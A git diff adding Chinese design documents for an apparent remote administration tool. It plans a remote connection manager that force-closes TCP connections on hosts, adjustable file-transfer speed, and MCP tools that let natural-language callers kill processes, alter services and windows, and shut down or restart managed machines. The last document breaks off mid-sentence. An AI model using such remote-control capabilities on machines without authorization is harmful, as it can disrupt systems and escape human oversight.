- `OnReceive()`:
|
||||||
|
- `case COMMAND_CONNECTION:` → `SendConnectionList()`(刷新)。
|
||||||
|
- `case COMMAND_KILL_CONNECTION:` → 校验长度 ≥ 111,读 `ConnectionInfo`,`KillConnection()`,再 `SendConnectionList()`。
|
||||||
|
- `KillConnection()`:仅 `proto==TCP && af==AF_INET`;组 `MIB_TCPROW`(`dwState=MIB_TCP_STATE_DELETE_TCB`),
|
||||||
|
地址由网络序字节拼回 DWORD(`GetAddr4`)、端口 `htons` 转回网络序,`SetTcpEntry(&row)`。
|
||||||
|
- 编译:`common/config.h` 增 `#define ENABLE_CONNECTION_MNG TRUE`(`// 连接管理`)。
|
||||||
|
- 分发(`client/KernelManager.cpp`):在 `case COMMAND_SERVICES:` 后加
|
||||||
|
```
|
||||||
|
case COMMAND_CONNECTION: {
|
||||||
|
if (!ENABLE_CONNECTION_MNG) return ResponseDisable(...);
|
||||||
|
{ auto* sub = new IOCPClient(...); sub->EnableSubConnAuth(); ...; }
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(..., LoopConnectionManager, ...);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- 线程注册(`client/Common.cpp` / `Common.h`):`#define LoopConnectionManager LoopManager<CConnectionsManager, 0>`。
|
||||||
|
|
||||||
|
## 5. 服务端实现
|
||||||
|
|
||||||
|
新增 `server/2015Remote/ConnectionsDlg.{h,cpp}`,镜像 `CServicesDlg`:
|
||||||
|
|
||||||
|
- `CConnectionsDlg(CWnd*, Server*, CONTEXT_OBJECT*) : DialogBase(IDD_DIALOG_CONNECTIONS, pParent, IOCPServer, ContextObject, IDI_CONNECTION)`。
|
||||||
|
- `OnInitDialog`:`InsertColumnL` 建列 `协议 | 本地地址 | 本地端口 | 远端地址 | 远端端口 | 状态 | PID | 进程名`(8 列),调 `ShowConnectionList()`。
|
||||||
|
- `ShowConnectionList()`:解析 `m_ContextObject->InDeCompressedBuffer`(`[token:1][count:2][records...]`)填表,
|
||||||
|
每条 `SetItemData` 存行内偏移(或直接把 `ConnectionInfo` 存进项关联数据),供右键断连取回记录。
|
||||||
|
- `OnReceiveComplete()`:`case TOKEN_CONNECTION_LIST: ShowConnectionList()`。
|
||||||
|
- `OnNMRClickList()`:用 `pNMItemActivate->iItem` 取**鼠标右键所在行**(而非仅依赖已选中行),
|
||||||
|
由该行 `SetItemData` 里存的 `ConnectionInfo` 拿回记录;`LoadMenu(IDR_MENU_CONNECTIONS)` →
|
||||||
|
`TrackPopupMenu`;菜单项「强制断开」(`ID_CONNECTION_KILL`)对**仅 IPv4 TCP 行可用**,发
|
||||||
|
`[COMMAND_KILL_CONNECTION:1][record:110]`;UDP/IPv6 行禁用该菜单项(`MF_GRAYED`)。
|
||||||
|
- 对话框标题栏图标 `IDI_CONNECTION`(`.ico`,`DialogBase` 构造第 5 参)与工具栏位图条第 17 个
|
||||||
|
48×48 图标是两回事:前者复用现有图标(如 `IDI_SERVICE`)或新增一个 `.ico`;后者编辑
|
||||||
|
`ToolBar_Main.bmp` 补第 17 格(见下)。
|
||||||
|
- 提供刷新(补发 `COMMAND_CONNECTION`)与 `OnClose`→`CancelIO()`。
|
||||||
|
|
||||||
|
工具栏 / 消息路由(`2015RemoteDlg.{h,cpp}` + `Resource.h` + `.rc`):
|
||||||
|
|
||||||
|
- `Resource.h`:`IDD_DIALOG_CONNECTIONS 404`、`IDR_MENU_CONNECTIONS 405`、`IDI_CONNECTION`(新图标 ID)、
|
||||||
|
`ID_CONNECTION_MANAGE 33086`(`_APS_NEXT_COMMAND_VALUE` 现为 33086,用后 +2)、`ID_CONNECTION_KILL`;
|
||||||
|
同步上调 `_APS_NEXT_RESOURCE_VALUE`/`_APS_NEXT_COMMAND_VALUE`。
|
||||||
|
- `.rc`(UTF-16LE,Node 脚本改):`IDR_TOOLBAR_MAIN` 末尾加 `BUTTON ID_CONNECTION_MANAGE`;
|
||||||
|
新增 `IDD_DIALOG_CONNECTIONS` 对话框与 `IDR_MENU_CONNECTIONS` 菜单。
|
||||||
|
- `res\ToolBar_Main.bmp`:**加宽为 816×48,补第 17 个 48×48「连接」图标**(实现时用脚本合成一个
|
||||||
|
双节点/插头样式图标插入条尾;图标观感属评审项)。
|
||||||
|
- `2015RemoteDlg.cpp`:
|
||||||
|
- `SetButtonText(16, _TR("连接管理"))`(1420 行后)。
|
||||||
|
- `hiddenCount >= 16`(1471 行)**无需改动**(连接按钮不参与隐藏,理由见 §2)。
|
||||||
|
- `ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)`(993 行后)。
|
||||||
|
- `OnConnectionManage()`:`BYTE bToken = COMMAND_CONNECTION; SendSelectedCommand(&bToken, sizeof(BYTE));`。
|
||||||
|
- `MessageHandle` 加 `case TOKEN_CONNECTION_LIST:` → `SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject)`(6609 行后)。
|
||||||
|
- `ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)` + `OnOpenConnectionDialog` →
|
||||||
|
`OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam)`。
|
||||||
|
- `stdafx.h`:`#define WM_OPENCONNECTIONDIALOG WM_USER + 3045`(现最高占用 `WM_USER+3044`,已核实无冲突)。
|
||||||
|
- 语言:`lang/en_US.ini` / `zh_TW.ini`(GBK,Python 改)补「连接管理 / 强制断开 / 8 列表头」文案。
|
||||||
|
|
||||||
|
## 6. 强制断开的实现与限制
|
||||||
|
|
||||||
|
- **仅 IPv4 TCP** 用 `SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(公开 API 唯一支持)。
|
||||||
|
- **重构 `MIB_TCPROW` 要点**:`dwState=12`;`dwLocalAddr/dwRemoteAddr` 由 16 字节字段前 4 字节的
|
||||||
|
网络序字节拼回网络序 DWORD(`GetAddr4`);`dwLocalPort/dwRemotePort` 由主机序 `htons` 转回网络序。
|
||||||
|
- **UDP**:无「按端点关闭 socket」的公开 API,MVP 只读展示(菜单置灰)。
|
||||||
|
- **IPv6 TCP**:`SetTcpEntry` 的 `MIB_TCPROW` 为 IPv4 结构,无公开的 IPv6 对应删除 API,MVP 只读展示。
|
||||||
|
- **权限**:`SetTcpEntry` 需管理员/足够权限;YAMA 客户端通常以服务(SYSTEM)运行,满足。若非提权,
|
||||||
|
`SetTcpEntry` 返回错误,`KillConnection` 静默失败并在刷新后的列表中保留该行(可观察结果,不误报)。
|
||||||
|
|
||||||
|
## 7. 安全与边界
|
||||||
|
|
||||||
|
1. **可能断开 YAMA 自身控制通道**:连接列表包含客户端↔服务端的主/子连接本身,若管理员选中并强制断开,
|
||||||
|
对应主机会立即离线。对话框对此不做特殊保护(与 `kill_process` 可杀自身守护进程同理),
|
||||||
|
但列表按 PID 可辨识本程序进程名,便于人工避让。
|
||||||
|
2. **强制断开不可逆**:断的是对端已建立的 TCP 连接,应用层不保存状态,可能造成数据丢失;对话框不弹二次确认
|
||||||
|
(确认责任在操作者),但右键菜单为显式单点操作。
|
||||||
|
3. **枚举成本**:每行一次 `OpenProcess` 取进程名,数百行连接约毫秒~十毫秒级,可接受;`OpenProcess` 失败直接
|
||||||
|
`"<unknown>"`,不阻塞枚举。
|
||||||
|
4. **PID 复用 / 进程退出**:断连用的是**端点**而非 PID,进程退出不影响 `SetTcpEntry` 命中;`procName` 仅用于展示。
|
||||||
|
5. **HTTP 分片**:连接数多时列表可超 1460 字节,依赖已修复的分片续包处理(§3.3)。
|
||||||
|
6. **老版本客户端**:老客户端无 `COMMAND_CONNECTION` 处理,点工具栏会无响应(与「老客户端不支持活动历史/日志」
|
||||||
|
同类),属预期;不影响服务端其它功能。
|
||||||
|
|
||||||
|
## 8. 验证计划(施工后填写)
|
||||||
|
|
||||||
|
1. 服务端:MSBuild 加 `-p:SolutionDir` 编译通过(见项目记忆 yama-server-msbuild-solutiondir);客户端同步编译。
|
||||||
|
2. 部署客户端到真实 Windows 主机 → 服务端选中主机 → 点新图标 → 对话框列出 TCP/UDP(含 IPv4/IPv6)连接,
|
||||||
|
字段(协议/地址/端口/状态/PID/进程名)与远端 `netstat -ano` 一致。
|
||||||
|
3. 右键一条 **IPv4 TCP** 已建立连接(如对测试服务器的 ESTABLISHED)→ 强制断开 → 刷新后该行消失、
|
||||||
|
远端 `netstat` 不再显示;进程自身未受影响。
|
||||||
|
4. 右键 **UDP / IPv6** 行 → 菜单项置灰,不可断连。
|
||||||
|
5. 刷新按钮 / 重复打开对话框 → 列表更新正常;关对话框后子连接释放(无泄漏)。
|
||||||
|
6. 回归:服务管理 / 进程管理 / MCP 等既有功能不受影响(无 command/token/ID 冲突)。
|
||||||
|
|
||||||
|
## 9. 实现记录
|
||||||
|
|
||||||
|
- 已实现并评审通过(2026-10-04)。实现与 §4/§5 一致:工具栏第 17 个图标(`ID_CONNECTION_MANAGE`,紧邻 MCP 之后)
|
||||||
|
打开连接管理对话框;客户端新增 `CConnectionsManager` 枚举并回传本机 TCP/UDP 连接;服务端新增 `CConnectionsDlg`
|
||||||
|
表格展示、右键「强制断开」发 `COMMAND_KILL_CONNECTION`、支持表头点击排序。
|
||||||
|
- **评审修正一处关键缺陷(字节序)**:iphlpapi 的 IPv4 地址 `dwLocalAddr` 是网络序 DWORD、端口 `dwLocalPort`
|
||||||
|
低 16 位是网络序。初版「原样 memcpy / 原样回填」导致展示的 IPv4 地址与端口字节序颠倒(强断因往返对称仍能命中)。
|
||||||
|
已改为:地址存网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序;断连时地址拼回 DWORD(`GetAddr4`)、端口
|
||||||
|
`htons` 转回网络序。详见 §3.2 / §6。
|
||||||
|
- 对话框标题栏小图标 `IDI_CONNECTION` 由工具栏第 17 个图标生成 `res/connections.ico`(48/32/16,32 位带透明)。
|
||||||
|
- 编译:`client/ConnectionsManager.cpp`(UTF-8 BOM + CRLF,`ws2tcpip.h` 引入 `_WS2IPDEF_` 以使用 IPv6 MIB 结构)
|
||||||
|
经 MSBuild(v143 工具集覆盖)编译通过;整仓 ghost 构建在本机 BuildTools 因缺少 ATL 头受阻,属环境问题,与本功能无关。
|
||||||
@@ -0,0 +1,146 @@
|
|||||||
|
# YAMA 文件传输速度调节设计
|
||||||
|
|
||||||
|
> **状态**:已实现(Windows 端,含多语言)。其他平台(Linux/macOS 客户端)暂不实施。
|
||||||
|
> **读者**:研发/评审人员。
|
||||||
|
> **关联文档**:[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议)、[Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md)(MCP 文件传输)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 背景与目标
|
||||||
|
|
||||||
|
文件传输速度目前是**写死的**:`SimplePlugins` 库的 `InitFileUpload(key, msg, hmac, chunkSizeKb, sendDurationMs, ...)` 被 YAMA 所有调用点传 `64, 50`,折算 ≈ 1.25 MB/s。用户无法调节。
|
||||||
|
|
||||||
|
目标:在 YAMA 主菜单「高级」下新增一个**面向小白**的「文件传输速度」对话框——拖动滑块即完成设置,实时显示预估速度;**不修改 SimplePlugins 库**(库已编译,只通过其已暴露的 `chunkSizeKb`/`sendDurationMs` 两个入参控制)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 速度原理(现状)
|
||||||
|
|
||||||
|
库内部把两个入参转成全局量(`SimplePlugins/file_upload.cpp:221-222, 849-850`):
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
static int chunk_size = 64 * 1024; // 默认 64KB
|
||||||
|
static int send_duration = 50; // 默认 50ms
|
||||||
|
// InitFileUpload: chunk_size = chunkSizeKb * 1024; send_duration = sendDurationMs;
|
||||||
|
```
|
||||||
|
|
||||||
|
发送循环每发一块就 `Sleep(send_duration)`(V1 `FileBatchTransferWorker` 与 V2 `FileBatchTransferWorkerV2` 共用这对全局量):
|
||||||
|
|
||||||
|
```
|
||||||
|
预估速度 = chunkSizeKb * 1024 / (sendDurationMs / 1000) 字节/秒
|
||||||
|
默认 64KB / 50ms ≈ 1.25 MB/s
|
||||||
|
```
|
||||||
|
|
||||||
|
两个关键约束:
|
||||||
|
|
||||||
|
1. **速度只在 `InitFileUpload` 时设定一次**,库无运行时 setter(`g_threadCount > 1` 时提前返回,不会重设)。
|
||||||
|
2. **V1 / V2 共用同一对全局量**,一次设置同时覆盖 `COMMAND_SEND_FILE(68)` 与 `COMMAND_SEND_FILE_V2(85)` 两种协议。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 档位表(权威唯一来源,主控端对话框维护)
|
||||||
|
|
||||||
|
| 档位 | 名称 | chunkKb | durationMs | 预估速度 |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| 0 | 最慢 | 64 | 200 | ≈ 0.3 MB/s |
|
||||||
|
| 1 | 慢 | 64 | 100 | ≈ 0.6 MB/s |
|
||||||
|
| 2 | 默认 | 64 | 50 | ≈ 1.25 MB/s |
|
||||||
|
| 3 | 快 | 128 | 50 | ≈ 2.5 MB/s |
|
||||||
|
| 4 | 更快 | 256 | 50 | ≈ 5 MB/s |
|
||||||
|
| 5 | 很快 | 512 | 50 | ≈ 10 MB/s |
|
||||||
|
| 6 | 不限速 | 1024 | 0 | 网络上限 |
|
||||||
|
|
||||||
|
- 滑块 `CSliderCtrl` 范围 `0..6`,`SetPageSize(1)`,默认落在 2。
|
||||||
|
- `durationMs = 0` 表示不人为限速(`Sleep(0)` 仅让出时间片,实际受带宽约束)。
|
||||||
|
- **注意 Windows `Sleep` 粒度 ≈ 15.6ms**:`durationMs` 低于约 15ms 基本等同不限速。故档位要么 ≥ 20ms,要么直接 0ms,不设 5ms 之类的“名不副实”中间值。
|
||||||
|
|
||||||
|
预估文案:`当前约 1.25 MB/s`;`durationMs==0` 显示 `不限速(受网络带宽约束)`。
|
||||||
|
|
||||||
|
- **多语言**:档位名(最慢/慢/默认/快/更快/很快/不限速)与预估格式串(`%s · 约 %.2f MB/s`、`%s · 不受限速(受网络带宽约束)`)经 `_TR`/`_LF` 走 `LangManager` 翻译表;语言文件以中文原文为 key。刻度标签拆成 最慢/默认/不限速 三个独立 `LTEXT` 以便各自翻译(英文宽度不同,不能靠空格对齐)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 两个方向的生效链路
|
||||||
|
|
||||||
|
文件传输有两条方向,`InitFileUpload` 各自在不同进程/时机调用:
|
||||||
|
|
||||||
|
| 方向 | 发送方 | `InitFileUpload` 调用点 | 生效方式 |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 上传(主控端 → 被控端) | 主控端 | `server/2015Remote/2015RemoteDlg.cpp:2223`(启动一次) | 读 `THIS_CFG`,重启主控端生效 |
|
||||||
|
| 下载(被控端 → 主控端) | 被控端 | `client/FileManager.cpp:40`(CFileManager 构造,每会话一次) | 读客户端配置,下次打开文件管理会话生效 |
|
||||||
|
|
||||||
|
### 4.1 上传方向(主控端本地,无协议改动)
|
||||||
|
|
||||||
|
`2015RemoteDlg.cpp:2223` 现为 `InitFileUpload({},{},GetHMAC(),64,50,Logf,GetUpperHash())`,改为读 `THIS_CFG`:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
int chunkKb = THIS_CFG.GetInt("transfer", "ChunkKb", 64);
|
||||||
|
int durMs = THIS_CFG.GetInt("transfer", "DurationMs", 50);
|
||||||
|
InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4.2 下载方向(需下发到被控端)
|
||||||
|
|
||||||
|
新增命令 `CMD_FILE_SPEED`,照 `CMD_QUALITY_LEVEL(78)` 的“服务端下发 → 客户端持久化 → 本地生效”套路:
|
||||||
|
|
||||||
|
1. **`common/commands.h`**:新增 `CMD_FILE_SPEED = 252`(命令号单字节,252 < 255 安全)。
|
||||||
|
2. **命令格式**:`[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]`,共 5 字节。
|
||||||
|
- 传原始 `chunkKb`/`durationMs` 而非档位索引,**避免客户端复制映射表**,映射表只存在于主控端对话框。
|
||||||
|
3. **主控端下发**:在 `OnOnlineFileManager()`(`server/2015Remote/2015RemoteDlg.cpp:4737`,发 `COMMAND_LIST_DRIVE` 开文件管理会话)发 `COMMAND_LIST_DRIVE` **之前**,先经主连接把当前档位 `CMD_FILE_SPEED`(5 字节)发给被控端;`OnOnlineDesktopManager()`(`2015RemoteDlg.cpp:4723`,发 `COMMAND_SCREEN_SPY`)同理也发一次,覆盖“先开远程桌面再开文件管理”的引用计数时序。两处都在 `SendFileSpeedCommand()`(`:9310`)统一读取并下发。
|
||||||
|
4. **被控端接收**:在客户端主连接分发 `client/KernelManager.cpp:814` 的 `switch`(`COMMAND_LIST_DRIVE` 所在,`case` 加在 `1280` 附近)加 `case CMD_FILE_SPEED`,把两数写入 `iniFile cfg(CLIENT_PATH)` 的 `[transfer]` 节。
|
||||||
|
5. **被控端调用点读配置**:`client/FileManager.cpp:40`(CFileManager 构造)改为读 `cfg.GetInt("transfer","ChunkKb",64)` / `DurationMs`,替换硬编码 `64, 50`。CFileManager 每会话重建(构造 Init、析构 Uninit),故下次打开文件管理即生效。
|
||||||
|
|
||||||
|
> **关键**:库用进程级引用计数,速度只在**首次** `InitFileUpload` 时设定(`g_threadCount > 1` 时提前返回,不重设)。客户端共 4 个 `InitFileUpload` 调用点(`FileManager.cpp:40`、`ScreenManager.cpp:109`、`ScreenManager.cpp:873`、`KernelManager.cpp:1399`),谁先初始化谁锁定速度。故**这 4 处必须全部改为读同一配置**,否则下载速度会被先初始化的管理器(如远程桌面会话)锁成旧值。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 配置存储
|
||||||
|
|
||||||
|
- 主控端:`THIS_CFG`(ini)`[transfer]` 节 `ChunkKb` / `DurationMs`(int)。
|
||||||
|
- 被控端:`iniFile(CLIENT_PATH)` 的 `[transfer]` 节 `ChunkKb` / `DurationMs`(int),由 `CMD_FILE_SPEED` 写入。
|
||||||
|
|
||||||
|
存 `ChunkKb`/`DurationMs` 两个 int 而非档位索引:自解释、直接对应 `InitFileUpload` 入参、不易错位。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 改动文件清单(Windows 端)
|
||||||
|
|
||||||
|
| 文件 | 改动 |
|
||||||
|
|---|---|
|
||||||
|
| `server/2015Remote/resource.h` | 加 `IDD_FILE_SPEED`、`ID_TOOL_FILE_SPEED`、`IDC_FSPEED_SLIDER`、`IDC_FSPEED_LABEL`、`IDC_FSPEED_RESET` |
|
||||||
|
| `server/2015Remote/2015Remote.rc` | 「高级」菜单加一项;新增对话框资源(滑块+预估标签+按钮)。**文件为 UTF-16LE 编码,须按 Unicode 读写** |
|
||||||
|
| `server/2015Remote/CFileSpeedDlg.h` | 新建:档位表 + `OnHScroll` 实时预估 + 恢复默认(照 `CPreviewLevelsDlg.h` 内联实现) |
|
||||||
|
| `server/2015Remote/2015RemoteDlg.h` | 加 `OnFileTransferSpeed()` 声明 |
|
||||||
|
| `server/2015Remote/2015RemoteDlg.cpp` | 消息映射 `ON_COMMAND(ID_TOOL_FILE_SPEED, ...)`;`2223` 读配置(上传);`OnFileTransferSpeed()` 弹出对话框并写回 THIS_CFG;`OnOnlineFileManager()`/`OnOnlineDesktopManager()` 发 `CMD_FILE_SPEED` |
|
||||||
|
| `common/commands.h` | 加 `CMD_FILE_SPEED = 252` |
|
||||||
|
| `client/KernelManager.cpp` | `case CMD_FILE_SPEED` 写客户端配置(主连接 switch,`814`) |
|
||||||
|
| `client/FileManager.cpp`、`client/ScreenManager.cpp`、`client/KernelManager.cpp` | 4 个 `InitFileUpload` 调用点读配置替换硬编码 `64, 50`(引用计数要求全部一致) |
|
||||||
|
| `server/2015Remote/lang/en_US.ini`、`zh_TW.ini`、`de_DE.ini` | 追加「文件传输速度」相关 13 条中文原文→译文(GBK 编码,`RCDATA "lang\*.ini"` 由 rc.exe 嵌入) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 生效时机与提示文案
|
||||||
|
|
||||||
|
- 上传速度:重启主控端生效。
|
||||||
|
- 下载速度:下次打开该主机的文件管理会话生效。
|
||||||
|
- 对话框保存后弹提示:`文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. 风险与备注
|
||||||
|
|
||||||
|
1. **`Sleep` 精度**:Windows 计时器粒度约 15.6ms,`durationMs` 过小则失真(见 §3)。
|
||||||
|
2. **实际速度 < 预估**:预估为纯 `chunk/delay` 理论值,未计入 `f()` 网络发送耗时;对话框文案用“约/大概”表述。
|
||||||
|
3. **命令号冲突**:`CMD_FILE_SPEED=252` 需确认 `commands.h` 无重号;252 < 255(单字节 `uint8_t cmd` 上限)。
|
||||||
|
4. **`.rc` 编码**:`2015Remote.rc` 为 UTF-16LE(带 BOM),编辑必须按 Unicode 处理,避免破坏资源脚本。
|
||||||
|
5. **跨平台**:Linux/macOS 客户端下载路径暂不改(`CMD_FILE_SPEED` 会被老/其他平台客户端静默忽略,向后兼容)。
|
||||||
|
6. **多语言 key 精确匹配**:语言文件为 GBK 编码、key 不 trim(`CIniParser` 保留原始空格);译文 key 必须与源码逐字一致——源码为 UTF-8、经 `/execution-charset:.936` 编译为 GBK,`·`(U+00B7)、全角括号()等需一致,否则查不到翻译。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. 实施顺序
|
||||||
|
|
||||||
|
1. `common/commands.h` 加命令号 → `resource.h` 加 ID → `.rc` 加菜单项与对话框资源。
|
||||||
|
2. 新建 `CFileSpeedDlg.h` → `2015RemoteDlg` 接线(上传方向,可先验证)。
|
||||||
|
3. 主控端下发 `CMD_FILE_SPEED` → 客户端接收持久化 → 客户端调用点读配置(下载方向)。
|
||||||
|
4. 编译验证(MSBuild 须传 `-p:SolutionDir`,见项目记忆)。
|
||||||
@@ -0,0 +1,219 @@
|
|||||||
|
# MCP P7 设计:设备管理控制(kill / window / service / power)
|
||||||
|
|
||||||
|
> 延续 `Mcp_Design.md` → `Mcp_Phase2_Design.md`(P2)→ P3/P4/P5/P6 的阶段演进。
|
||||||
|
> 本文定义 P7:把 YAMA 服务端高频「控制类」操作 MCP 化,补上从「观测」到「管控」的短板,
|
||||||
|
> 服务「自然语言即可操作服务端、对受管设备全方位管控」的最终目标。
|
||||||
|
>
|
||||||
|
> 安全门结论(已确认):新增**单一 `McpManage` 开关**统一门控本阶段全部控制类工具,
|
||||||
|
> 并要求 `McpReadonly=0`;不再为每个工具单设开关。
|
||||||
|
|
||||||
|
## 1. 目标与范围
|
||||||
|
|
||||||
|
P7 交付 4 个控制类工具,覆盖服务端日常最常用的写操作:
|
||||||
|
|
||||||
|
| 工具 | 动作 | 命令 | 连接 | 确认方式 |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| `kill_process` | 结束进程(多 pid) | `COMMAND_KILLPROCESS` | 系统子连接 | 补发 `COMMAND_PSLIST` 收新列表 |
|
||||||
|
| `operate_window` | 关闭/显示/隐藏/最小化/最大化/还原 | `CMD_WINDOW_CLOSE` / `CMD_WINDOW_TEST` | 窗口子连接 | close 自动回 `TOKEN_WSLIST`;test 补发 `COMMAND_WSLIST` |
|
||||||
|
| `control_service` | 启动/停止/设为自动/设为手动 | `COMMAND_SERVICECONFIG` | 服务子连接 | 客户端每项 Sleep(500) 后自动 `SendServicesList` |
|
||||||
|
| `power_action` | 注销/关机/重启 | `TOKEN_MACHINE_MANAGE` | 主连接 | 发完即走(无响应) |
|
||||||
|
|
||||||
|
仅 Windows 客户端支持(`clientType` 为 LNX/MAC/**APK** 提前返回 `-32005`;注意 `list_services`
|
||||||
|
只排除了 LNX/MAC、漏掉 APK,P7 需把 APK 一并排除)。
|
||||||
|
|
||||||
|
## 2. 复用现状
|
||||||
|
|
||||||
|
P7 **不改客户端**。客户端已全部实现下列处理(MFC 界面在跑),MCP 侧只需补齐
|
||||||
|
「发命令 → 接管子连接 → 发写命令 → 收确认 → 关闭」这条链:
|
||||||
|
|
||||||
|
- 系统子连接:`COMMAND_SYSTEM`(进程)/ `COMMAND_WSLIST`(窗口)→ 客户端开 `CSystemManager`
|
||||||
|
子连接(`client/KernelManager.cpp` 1169/1182,`client/SystemManager.cpp`)。
|
||||||
|
- `COMMAND_KILLPROCESS`:`CSystemManager::KillProcess`(`TerminateProcess`,无回包)。
|
||||||
|
- `CMD_WINDOW_CLOSE`:`PostMessage(hWnd, WM_CLOSE)` 后自动 `SendWindowsList`。
|
||||||
|
- `CMD_WINDOW_TEST`:`ShowWindow(hwnd, dHow)`(不自动回包)。
|
||||||
|
- `COMMAND_SERVICECONFIG`:`CServicesManager::ServicesConfig`(`client/ServicesManager.cpp` 213),
|
||||||
|
bCmd=1 启动 / 2 停止 / 3 自动 / 4 手动,每项后 `Sleep(500)` + `SendServicesList`。
|
||||||
|
- `TOKEN_MACHINE_MANAGE`:`KernelManager.cpp` 872,`ExitWindowsEx`(注销/关机/重启)。
|
||||||
|
|
||||||
|
复用现有 MCP 基建(`server/2015Remote/McpServer.{h,cpp}`):
|
||||||
|
|
||||||
|
- `ParseHostIdArg` / `FindMainContext`:入参解析 + 主连接定位。
|
||||||
|
- `BeginPending` / `WaitPending` / `ClearPending` / `TakeMainResponse`:单飞行挂起 + 响应回收。
|
||||||
|
- `OnRegeditReady`:已示范「接管子连接 → 发后续命令」的范式(P3 list_registry 三阶段),P7 直接泛化。
|
||||||
|
|
||||||
|
## 3. 子连接生命周期(P7 核心新增)
|
||||||
|
|
||||||
|
写工具与只读工具的关键差异:只读工具「子连接回一包即完成」,写工具需要
|
||||||
|
「**接管子连接 → 发写命令 → 收确认 → 关闭**」。在现有 `PendingRequest` 上增加
|
||||||
|
`followUp`(接管后要发的写命令 payload,二进制)+ `followUpSent`(是否已发写命令)两个字段:
|
||||||
|
|
||||||
|
```
|
||||||
|
followUpSent == false → 等子连接就绪(首包 TOKEN_*LIST 到达 = 就绪)
|
||||||
|
followUpSent == true → 已发写命令,等确认包
|
||||||
|
```
|
||||||
|
|
||||||
|
> 关键事实(已核实):三个工具各自的「就绪 token」与「确认 token」**是同一个 token**——
|
||||||
|
> 客户端子连接构造即回一包(就绪),写操作后再回一包(确认)。因此必须用 `followUpSent`
|
||||||
|
> 区分这两次到达,而不能靠 token 区分。这也是它与 `list_registry`(PATH/KEY 两个不同 token)
|
||||||
|
> 的差别。
|
||||||
|
|
||||||
|
流程(以 `kill_process` 为例):
|
||||||
|
|
||||||
|
1. 工具线程 `BeginPending(devId, "kill_process")` 登记单飞行(false = 设备忙),并预填
|
||||||
|
`followUp`(`COMMAND_KILLPROCESS` 多 pid 包)。
|
||||||
|
2. 主连接发 `COMMAND_SYSTEM`。
|
||||||
|
3. 客户端开系统子连接,首包 `TOKEN_PSLIST` 到达 → `MessageHandle` 调新增的
|
||||||
|
`OnSystemReady(devId, subCtx)`(类比 `OnRegeditReady`):
|
||||||
|
- 命中挂起且 `followUpSent==false` → 保存 `subCtx`、置 `followUpSent=true`、向子连接发
|
||||||
|
`followUp`,随后补发 `COMMAND_PSLIST` 索取新列表。
|
||||||
|
4. 客户端杀进程后回第二个 `TOKEN_PSLIST` → `TakeMainResponse` 取走(`followUpSent==true`
|
||||||
|
命中)→ 关闭子连接(`CancelIO`)→ 唤醒工具线程。
|
||||||
|
5. 工具线程解析新进程列表返回;超时/失败走 `ClearPending`(**含 `subCtx->CancelIO()`**,防孤儿子连接)。
|
||||||
|
|
||||||
|
> 注意:`followUp`(写命令)与「补发的 `COMMAND_PSLIST`/`COMMAND_WSLIST`」必须是**两次独立的
|
||||||
|
> `Send2Client` 调用**,不能拼成一个 buffer——客户端 `OnReceive` 按 `szBuffer[0]` 单命令分发,
|
||||||
|
> 拼包会把后续字节当成 pid/hwnd 解析。
|
||||||
|
|
||||||
|
接管函数(进程/窗口共用同一个 `OnSystemReady`——两者都在同一个 `CSystemManager` 子连接上,
|
||||||
|
客户端 `OnReceive` 统一处理 `COMMAND_PSLIST`/`COMMAND_KILLPROCESS`/`COMMAND_WSLIST`/
|
||||||
|
`CMD_WINDOW_CLOSE`/`CMD_WINDOW_TEST`):
|
||||||
|
|
||||||
|
| 工具 | 开子连接命令 | 就绪包(首包) | 接管后写命令 | 确认包(第二包) |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| `kill_process` | `COMMAND_SYSTEM` | `TOKEN_PSLIST` | `COMMAND_KILLPROCESS` + 补 `COMMAND_PSLIST` | `TOKEN_PSLIST` |
|
||||||
|
| `operate_window` | `COMMAND_WSLIST` | `TOKEN_WSLIST` | `CMD_WINDOW_CLOSE`(close 自动回);`CMD_WINDOW_TEST`(test 补 `COMMAND_WSLIST`) | `TOKEN_WSLIST` |
|
||||||
|
| `control_service` | `COMMAND_SERVICES` | `TOKEN_SERVERLIST` | `COMMAND_SERVICECONFIG`(客户端写后自动 `SendServicesList`) | `TOKEN_SERVERLIST` |
|
||||||
|
|
||||||
|
`MessageHandle` 现有分派点(均已核实):
|
||||||
|
|
||||||
|
- `TOKEN_PSLIST`/`TOKEN_WSLIST` 分支:`2015RemoteDlg.cpp:6540`(当前 `TakeMainResponse`+`CancelIO`)
|
||||||
|
- `TOKEN_SERVERLIST` 分支:`2015RemoteDlg.cpp:6585`(同上)
|
||||||
|
|
||||||
|
接入方式:在这两个分支的 `IsPending(devId)` 命中后,**先按 `pending.tool` 判断是否为
|
||||||
|
